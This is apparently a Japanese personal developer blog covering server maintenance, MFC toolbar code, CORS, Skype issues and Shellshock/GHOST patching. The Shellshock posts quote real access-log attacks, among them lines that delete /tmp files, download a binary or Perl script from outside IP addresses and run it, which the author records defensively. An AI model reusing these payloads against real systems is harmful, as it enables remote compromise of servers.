スポンサーサイト

上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。

サーバ再起動

VPSからVENOMの脆弱性の対応でサーバの再起動が必要ということでしたので、サーバを再起動しました。

日付を見ると2012年以来の再起動なので3年くらいサーバが動き続けていたことになります。
chatserverプロセスについては、昨年の9月に再起動していますので、
これは9ヶ月くらい起動していたことになります。

サーバ再起動は「チャベリ誰がいた」のクローラーを起動するcronの合間をぬって実行するので
あまりのんびりとは作業できないですね。

それにしても長期間トラブルもなく動き続けてくれるのはありがたいことです。
スポンサーサイト

Skypeのアイコンがタスクトレーにいつのまにかでなくなった

Skypeを使っているので、通知がきたときにわかるように、Skypeのアイコンをタスクトレーに表示しておくようにしているのですが、いつのまにか表示されなくなり、隠れているインジケーターの部分に置かれるようになっていました。
しかし隠れているインジケーターの部分では通知がきても見えないのでこれでは困りますね。

通知領域アイコンのカスタマイズを使って、Skypeを「アイコンと通知を表示」に変更しても、その時はタスクトレーに表示されるのですが、次にPCを起動するとまた表示されなくなっています。

仕方がないので、Skypeの「サインイン中はSkypeをタスクバーに表示」をチェックして、大き目のアイコンをタスクバーに表示している状態です。

原因はよくわからないのですが、Windowsの4秒ルールというのがあるらしく、起動に4秒以上かかるソフトはタスクトレーに置かれなくなるようなことがあるらしいので、その影響かもしれません。
また通知領域アイコンのカスタマイズでは、Skypeのインスタンスが2つあって、アイコンがついている方は「通知のみ表示」なのでトレーにでないのですが、アイコンのついてない動いてないらしい方のSkypeのインスタンスは「アイコンと通知を表示」になっていて、なにかおかしなことになっているようです。


ところがあるときSkypeの設定が「コンピュータ起動時にSkypeを起動」にチェックが入ってないのにSkypeが自動起動しているのを見つけました。ここは以前チェックを入れていたはずですが、いつのまにかチェックが消えていました。

ここにチェックがないのに、なぜ自動的にSkypeが起動しているのかわかりませんが、PC起動時にはSkypeが起動してなくてログイン時に何か別のものがSkypeを起動しているということなんでしょうか。

とりあえず「コンピュータ起動時にSkypeを起動」のチェックを入れなおして使ってみたところ、今のところタスクトレーにSkypeのアイコンが出たままになっています。

ではなぜ「コンピュータ起動時にSkypeを起動」のチェックが消えていたのかということですが、このPCにはウイルスバスタークラウドを入れているのですが、先ほどPC起動時にウイルスバスターがでてきて、PCの起動を短縮しますといった画面を出してきたので、OKしてみたところ、「4秒はやくなりました」と表示されたところ、もしやと思ってSkypeの設定画面を見ると「コンピュータ起動時にSkypeを起動」のチェックが消えていました。

ウイルスバスターがSkypeをPC起動時に起動しないことでPCの起動時間を短縮したということなのでしょうが、その影響でSkypeをアイコンがでなくなる現象になったということなのかもしれません。

Chrome42

Chrome42にアップデートしてからデフォルトのフォントが変わったようで
少し間延びしてレイアウトが乱れますね。。
また元に戻らないとも限りませんが、
そのうちcssにフォントを指定するように修正しておかないといけないですね。

glibcの脆弱性CVE-2015-0235(GHOST)の対応

glibcにgethostbyname()の脆弱性があるということで、対応しないといけないというので、とりあえずglibcをupdateしました。

# yum update glibc

とりあえず

glibc.i686 2.5-123.el5_11.1 installed
glibc.x86_64 2.5-123.el5_11.1 installed

になりましたが、これが対応しているバージョンなのかよくわからないので
ネットにあった以下のようなチェックプログラムを使ってチェックしてみました。

#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;

/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);

if (strcmp(temp.canary, CANARY) != 0) {
puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE) {
puts("not vulnerable");
exit(EXIT_SUCCESS);
}
puts("should not happen");
exit(EXIT_FAILURE);
}


その結果 not vulnerable が表示されましたので、これでいいみたいですね。
この脆弱性に関する攻撃があるんでしょうかね。

bashの脆弱性

しばらく気にしてなかったのですが、久々にaccessログをみると結構恐ろしいのがありました。


223.255.192.109 - - [09/Dec/2014:15:13:16 +0900] "GET / HTTP/1.1" 200 38 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.160.207.196:81/sss -O /tmp/China.Z-ctxj\xa8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-ctxj\xa8 >> /tmp/Run.sh;echo /tmp/China.Z-ctxj\xa8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.160.207.196:81/sss -O /tmp/China.Z-ctxj\xa8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-ctxj\xa8 >> /tmp/Run.sh;echo /tmp/China.Z-ctxj\xa8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\""
50.28.33.253 - - [10/Dec/2014:16:05:22 +0900] "GET /cgi-bin/id.cgi HTTP/1.0" 404 289 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; wget http://217.199.160.244/mg;curl -O http://217.199.160.244/mg;perl mg;rm -rf mg\""


なんかファイルを仕込もうとしていますが、China.zってなんでしょうね。。

bashの脆弱性(さらに続き)

bashの脆弱性ですが、今まではトップページにだけアクセスしていたのですが、
今回はトップページ以下のリンクしているページを順に検査しているような
アクセスがありました。


8.37.217.199 - - [10/Oct/2014:06:52:07 +0900] "GET /room.php?room=1.1.53 HTTP/1.1" 200 9142 "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"
8.37.217.196 - - [10/Oct/2014:06:52:08 +0900] "GET /room.php?room=1.1.52 HTTP/1.1" 200 9142 "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"
8.37.217.197 - - [10/Oct/2014:06:52:08 +0900] "GET /room.php?room=1.1.51 HTTP/1.1" 200 9142 "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"
8.37.217.198 - - [10/Oct/2014:06:52:09 +0900] "GET /room.php?room=1.1.50 HTTP/1.1" 200 9139 "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"
・・・・


しかもアクセス元が、8.37.217.196から8.37.217.199と複数のアドレスからになっています。
何台も用意して攻撃をしかけようとしてるんでしょうかね。

bashの脆弱性(続き)

昨日に続いて、さらに攻撃らしいアクセスがありました。


118.192.48.6 - - [27/Sep/2014:21:05:16 +0900] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 301 "http://www.baidu.com" "() { :; }; echo X-Bash-Test: `echo qemzPlJGpn`;"
118.192.48.6 - - [27/Sep/2014:21:37:41 +0900] "GET /cgi-bin/count.cgi HTTP/1.1" 404 292 "http://www.baidu.com" "() { :; }; echo Mozilla: `echo tZl2Wm91Bv`;"
118.192.48.6 - - [27/Sep/2014:21:37:41 +0900] "GET /cgi-bin/test.cgi HTTP/1.1" 404 291 "http://www.baidu.com" "() { :; }; echo Mozilla: `echo GfaFQMxEAI`;"
118.192.48.6 - - [27/Sep/2014:21:37:41 +0900] "GET /cgi-bin/help.cgi HTTP/1.1" 404 291 "http://www.baidu.com" "() { :; }; echo Mozilla: `echo RE7LJC2S9o`;"
118.192.48.6 - - [27/Sep/2014:21:37:41 +0900] "GET /cgi-bin/index.cgi HTTP/1.1" 404 292 "http://www.baidu.com" "() { :; }; echo Mozilla: `echo HukIfCQewT`;"


baiduを名乗っていますが、どこからかわかりませんね。
なんか、cgiの入門の勉強をして放置してあるのを狙っている感じですね。
echo Mozillaをしてどうするんでしょうかね?

bashの脆弱性

いま話題になっているbashの脆弱性ですが、
うちのサイトにも調査やら攻撃やらそれらしいアクセスがありました。


209.126.230.72 - - [25/Sep/2014:08:27:03 +0900] "GET / HTTP/1.0" 200 27471 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
89.207.135.125 - - [25/Sep/2014:16:26:23 +0900] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 301 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
198.20.69.74 - - [26/Sep/2014:04:16:59 +0900] "GET / HTTP/1.1" 200 38 "() { :; }; /bin/ping -c 1 104.131.0.69" "() { :; }; /bin/ping -c 1 104.131.0.69"
54.251.83.67 - - [26/Sep/2014:17:39:34 +0900] "GET / HTTP/1.1" 200 38 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"


うちのサイトでは、bashを直接、間接呼び出すことはない(はず)なので、大丈夫だったと思いますが、
bashはupdateしておきました。
こわいですね。

いつの間にかチャットができなくなってた

久々に、チャットが動くかどうか調べようとして
適当な部屋に入ってみたのですが、接続しません。。。。
chatserverがおかしくなったのかと思って、chatserverを再起動したのですが
変化はありませんでした。
そこでflashpolicyのプロセス(FLASHからconnectするにはポート843を空けておいて、
一度そこのポートに接続してからでないとFLASHからconnectできない)
を再起動してみると、接続できるようになりました。
原因はわかりませんが、このプロセスは2012年からずっと動いていたようで、
何かリソースでも食いつぶしたんですかね。

CakePHPのconditionsでSubqueryの結果をINで使う

CakePHPのconditionsは=>をいれないとそのままSQLのWhere句にわたるみたいですね。
そこで、
$this->ModelXX->find('all', array('conditions' => array(ModelXX.YY IN (SELECT YY FROM ZZ WHERE xxxx)'));
のようなことをかくと
ModelXX.YY IN (SELECT YY FROM ZZ WHERE xxxx)
がそのままWHERE句に入ってくれるみたいですね。

CMFCToolBarにComboBoxを置く方法(続き2)

作成したCMFCToolBar上のComboBoxに現在の選択行を表示しようとして

iIndex = m_wndToolBar.CommandToIndex(ID_EDIT_FIND_COMBO, 0);
CMFCToolBarComboBoxButton* btn = (CMFCToolBarComboBoxButton*)m_wndToolBar.GetButton(iIndex);
btn->SelectItem(selectindex);
のようにしたのは、いいのですが、これが動作するComboBoxと動作しない(SelectItemに反応しない)ComboBoxがあってはまりました。

それで
CMFCToolBarComboBoxButton* btn = (CMFCToolBarComboBoxButton*)m_wndToolBar.GetButton(iIndex);
で取得されるbtnのデータ型をみるとCMFCToolBarComboBoxButtonではなくて、CMFCToolBarButtonになっているんですよね。
OnResetToolbarで最初に作ったときは、ちゃんとCMFCToolBarComboBoxButtonが取れていたので、どこかですりかわってしまったんだろうと思っていました。
MFCのソースを追っているとCMFCToolBarのm_Buttonsがいつのまにか増えていてこれが悪さしているのだろうと思ってどこで増えているのは調べようとしたのですがわかりませんでした。。。
ただどうもMAINFRAMEのCMFCToolbarはMFCが勝手に増やしていてそれはあまり問題になってないような感じです。
カスタマイズのツールバーのリセットを行った直後だけ、ちゃんとComboBoxが動作するのですが、それもさらに謎です。

それでいろいろしらべてみてやっと原因がわかりました。
最初にOnResetToolBarで
CMFCToolBarComboBoxButtonbtnCombo(ID_EDIT_FIND_COMBO, GetCmdMgr()->GetCmdImage(ID_EDIT_FIND), CBS_DROPDOWNLIST | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL);
m_wndToolBar.ReplaceButton(ID_EDIT_FIND, btnCombo);
のようにしてComboBoxを作成するのですが、
このときの、ID_EDIT_FIND_COMBOとID_EDIT_FINDのIDの値が違っていないとこのようなことが起こるみたいです。
これを実行した直後は)m_wndToolBar.GetButton(iIndex)も正しい結果が得られていたのですが、MFCが勝手にボタンを追加していくうちに追加前のID_EDIT_FINDのIDの空のボタンの場所がなぜか復活しててそれが返ってくるようでした。
なんかトラぶったときに非常にわかりにくいですね。。
先が思いやられます。。


CMFCToolBarにComboBoxを置く方法(続き)

前回のCMFCToolBarにComboBoxを置く方法についてですが、せっかくComboBoxをおいてデータを入れて、
そのComboBoxのポインタに SetCurSel()を行っても、ツールバー上にはなにも表示されないままになっています。
どうやら、CMFCToolBarにComboBoxをおいた場合は、そのComboBoxを直接触るのではなく、
CMFCToolBarComboBoxButtonを介してComboBoxを触るのが流儀のようです。

具体的にはCMFCToolBarからCMFCToolBarComboBoxButtonは
iIndex = m_wndToolBar.CommandToIndex(ID_EDIT_FIND_COMBO, 0);
CMFCToolBarComboBoxButton* btn = (CMFCToolBarComboBoxButton*)m_wndToolBar.GetButton(iIndex);
のようにボタンのIDから取得できるので、そのCMFCToolBarComboBoxButtonに対して
btn->SelectItem(selectindex);
のようにする必要があるということみたいです。

CMFCToolBarにComboBoxを置く方法

CMFCToolBarにComboBoxを置く方法についてですが、よく使われることなのに意外とネットに
サンプル等がのっていません。
そこで調べてみたのでその結果を途中経過として書いておきます。
旧来のCToolBarにComboBoxをおく場合は、CToolBarのSetButtonInfo()でComboBoxを入れる場所を
セパレータとして幅を設定して、その上にCreateでComboBoxを作成するという方法でできました。
しかしCMFCToolBarでは位置がうまく設定できませんでした。

CMFCToolBarの場合ではまず、
int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)
で普通に
!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC);
!m_wndToolBar.LoadToolBar( IDR_MAINFRAME);
のようにCMFCToolBarを作っります。
ただしComboBox用に該当する部分に場所をあけて、ID_EDIT_FINDのようなIDをつけておきます。
また作成するComboBox用にID_EDIT_FIND_COMBO等とResouceのStringにIDを作成しておきます。
その後
AFX_WM_RESETTOOLBARというメッセージをCMainFrameで受け取ってその中で設定します。
AFX_WM_RESETTOOLBARのメッセージはクラスウィザードではでてこなかったので手動で

BEGIN_MESSAGE_MAP(CMainFrame, CMDIFrameWndEx)
ON_REGISTERED_MESSAGE(AFX_WM_RESETTOOLBAR, OnResetToolbar)
END_MESSAGE_MAP()

LRESULT CMainFrame::OnResetToolbar(WPARAM wp, LPARAM lp)
{
}
を作ります。
この中で
wpがツールバーのIDになるので、この場合は
if (wp == IDR_MAINFRAME)
のときに設定することになります。
その設定はもっとも簡単には

CMFCToolBarComboBoxButtonbtnCombo(ID_EDIT_FIND_COMBO, GetCmdMgr()->GetCmdImage(ID_EDIT_FIND), CBS_DROPDOWNLIST | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL);
   m_wndToolBar.ReplaceButton(ID_EDIT_FIND, btnCombo);
これだけで、自動的にComboBoxを作成してくれます。
ただしID_EDIT_FIND_COMBOのOnCommandUIを処理しないと、Disableになったままです。
またレジストリをいったんきれいにしないと最初に変な場所に出たりします。。。

ただ、これだけでは作成したComboBoxが空っぽだったり、制御しにくいので
CMFCToolBarComboBoxButtonbtnComboを継承してクラスを作成し、CreateCombo()をオーバーライドすれば
作成するComboBoxを制御できます。

class CFindComboButton : public CMFCToolBarComboBoxButton {
DECLARE_SERIAL(CFindComboButton)
public:
CFindComboButton() :CMFCToolBarComboBoxButton() {
}
CFindComboButton(UINT uiID, int iImage, DWORD dwStyle = CBS_DROPDOWNLIST, int iWidth = 0) :CMFCToolBarComboBoxButton(uiID, iImage, dwStyle, iWidth) {
}
virtual CComboBox* CreateCombo(CWnd* pWndParent, const CRect& rect) {
CComboBox* pWndCombo = new CComboBox;
if (!pWndCombo->Create(m_dwStyle, rect, pWndParent, m_nID))
{
delete pWndCombo;
return NULL;
}
pWndCombo->AddString(L"TAKO");
pWndCombo->AddString(L"いか");

return pWndCombo;

}
virtual void Serialize(CArchive& ar) {
CMFCToolBarComboBoxButton::Serialize(ar);
}
};

この場合にSerializeを実装してないと、内部的に初期化やレジストリ保存等を行ったときにCFindComboButton が復元されないのでうまくいかないといったことが生じます。

あと、ComboBoxの初期データをどこで設定すればいいかということですが、これはいま調査中です。
この例ではCreateCombo()で入れてみました。

CMFCMenuBarではリソース固定のメニューしかうまく操作できないのか?

MFC4.0の頃のアプリで最新のMFCに移行するのに
メニューを書き換えても更新されないし、リストアするとメニューの一部がなくなる現象にはまりました。

MDIのアプリのメニューを、単一のメニューリソースからでなく、複数のリソースをマージして作り、それをDocumentTemplateのm_hMenuSharedにいれるようにしていたのですが、
これをCMFCMenuBarで実装するようにしました。
そうするとフレームワークはレジストリに現在のメニューの状態を保存するのですが、
あるとき、一部のメニューを表示しなくなり、初期状態に戻すを行っても、一向に直りません。
最終的にレジストリから保存データを全部消すとやっともとに戻りました。

MFCのソースを追っていくと、CMFCMenuBarでは、初期状態に戻すというのは、DocumentTemplateのm_hMenuSharedに戻すのではなく、DocumentTemplateのメニューのリソースIDからメニューを組み立てなおすうようになっていました。
これでは、複数のメニューをマージして、DocumentTemplateのm_hMenuSharedを作るというのが、まったく意味を成さなくなっていますね。。。

困り果てたあげく、CMFCMebuBarを継承したクラスを作成し、SaveState()とRestoreOriginalState()の2つのOverride関数をoverrideして、この処理をなにもしない処理にしました。
これによりレジストリに保存することはできなくなりましたが、メニューの一部がなくなるという悲惨な現象はいまのところなくなりました。
なんかいい方法はないものですかね。。

続WindowsXPのサポートが終了

WindowsXPのサポートが終了して一週間たちましたが、
相変わらずXPはWindowsのアクセスの中でN/Aについで2位になっていますね。
なんかあまり変化がない感じです。
XPやめる人はとっくにやめてて、使い続ける人はずっと使うつもりなんでしょうかね。
今後も注意して推移を見たいと思います。

WindowsXPサポート終了

WindowsXPのサポートが終了しますが、
ここのアクセス解析によると、うちのサイトでは、全体のアクセス数のうち、
UserAgentでXPとなってるのが4分の1くらいを占めてるんですよね。
Windows自体のアクセスに(N/A)というのが半分以上ありますので、
XPの占める割合はもっと多いかもしれませんね。
みなさんなかなかXPから離れられませんよね。
4/9日以降どうなっていくか、時々気にしておこうとおもっています。

ドコモオンラインショップのSPRING BARGAIN

ドコモオンラインショップがSPRING BARGAINやっていて、
旧機種のスマホが3150円といった具合に非常に安いので、人気になっているのですが
当然欲しい人気機種はすぐなくなってしまいます。
また、フライングで発売されたりキャンセル待ちとかあるようなので、
頻繁にチェックしてみたいところですが、なかなかそうは行きません。
そこでスクリプトで監視しようとしたのですが、各機種のページは
HTMLファイルの中に、在庫ありなしが書いてあるわけでなく
たくさんのJavascript,XML,JSONファイルをよんで動的に処理しているようです。
そこでちょっと見ていたら、とあるJSONファイルのとある項目の数値が1のときは在庫があって
3のときは在庫がないというパターンがあったので、これを使えばチェックできるかもしれません。

$json = file_get_contents('ttps://www.mydocomooo.com/dcm/dfw/onlineshop/pc**************');
$obj = json_decode($json, true);
$n = obj[xxx][yyy][zzz];

こんな感じで受け取って$n==1ならsendmailとかでメール投げればいいですね。
そしてこれをcronで適当な間隔で呼んでみればいいわけです。
まあ、この仮説が本当に正しければですが。。


MyDocomoにログインできないように見える現象

ドコモの料金確認にMyDocomoをよく利用するのですが、先日そのMyDocomoがリニューアルしました。
さっそく料金確認をするためログインしようとしてみましたが、
なぜかログイン前の「ようこそゲストさま」トップページに戻ってしまいます。
ID,PWを間違えているかと思って何度やっても同じです。
Cookieを消してやり直しても同じです。
OSはWindowsXPブラウザはChrome最新版(33.0.1750.117 m)です。
なぜかIE8でやるとちゃんとログインできるんですよね。

それで、よくよくみてみると、ログインに失敗しているというよりは
ログインしたけどログインしてないふりをしているだけのようにみえます。
ためしに、料金確認のページに移動すると、なんと、ちゃんと名前と料金がでてきます。
それではと、元のトップページ画面に戻ると、「ようこそゲストさま」になります。

それでURLをよく見ると
「ようこそゲストさま」のトップページは
https://www.nttdocomo.co.jp/mydocomo/
ログイン画面は
https://www.mydocomo.com/dcm/dfw/web/pub1/corp/auth/login.html
料金確認は
https://www.mydocomo.com/dcm/dfw/bis/guide/ebilling/gkfap001.srv
となっていて、ログイン画面と料金確認画面のドメインが
www.mydocomo.com なのに、トップページのドメインがwww.nttdocomo.co.jpなんですね。

これってクロスドメインのCookieの問題なんですかね。
Chromeの設定をいじってしまったのかもしれませんが、よく覚えてないです。
FAQとかに、こういう事例をのせておいてくれてもいいのに。

とりあえず、ドコモに問い合わせメールしたところ、

リニューアル後のMy docomoをご利用いただく場合には、「Internet Explorer 8/9」を推奨しております。
恐れ入りますが、推奨環境を満たしていない場合は、正しく動作・表示しないことがございますので、
何とぞご理解のうえ、ご了承くださいますようお願いいたします。

といった紋切り型の回答がきました。
いまどきIE8,9推奨でそれ以外は動作保証しないとか、ありえないような。。

まあ、いまのところ、料金確認はできるので、困らないのですが、
不特定多数の人が使う場所で、誰かがこれやってしまって、
ログイン失敗したのだと思って、放置してたら、別の人が勝手に使ってしまったとか
考えられるので、なんとかしてもらいたいものです。

JSONのクロスドメイン通信

javascriptのgetJSON()を使って異なるドメイン間でデータの受け渡しをしようとしたのですが
そのままではできません。
これを解決するためには、
CORS (Cross-Origin Resource Sharing)という機能を利用することになります。

サーバ側はレスポンスヘッダに "Access-Control-Allow-Origin" というヘッダを加える。
このヘッダに許可するアクセス元を記述する。
クライアント側は "Access-Control-Allow-Origin" の情報を参照して、
受け取った情報(レスポンスボディ)が本当に受け取って(参照して)いいものかどうかを判断する。


phpだと

$array = array();
データ作成
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/json');
echo json_encode( $array );

という感じですね。

header('Access-Control-Allow-Origin: *');
を加えてやってみたところ、クロスドメインでgetJSON()ができるようになりました。

2周年

いつのまにか2周年になりましたね

その間、ほとんど何も修正してないのですが、
当時に比べてスマホやタブレットの普及も上がってきたので
そういった方面で使えるようにしてみましょうかね。
いつになるかわかりませんが。。。

http://chattera.net/
プロフィール

chattera.net

Author:chattera.net
フリーでソフト開発の仕事をしています。
自作したこのチャットシステムは、何か世の中に役に立つこともあるかと思いますので、お呼びがかかるとうれしいですね。

連絡先は chatteranet@gmail.com です。

また、ソフト開発関連のお誘いもうけたまわっております。

最新記事
最新コメント
最新トラックバック
月別アーカイブ
カテゴリ
検索フォーム
RSSリンクの表示
リンク
ブロとも申請フォーム

この人とブロともになる

QRコード
QR
上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。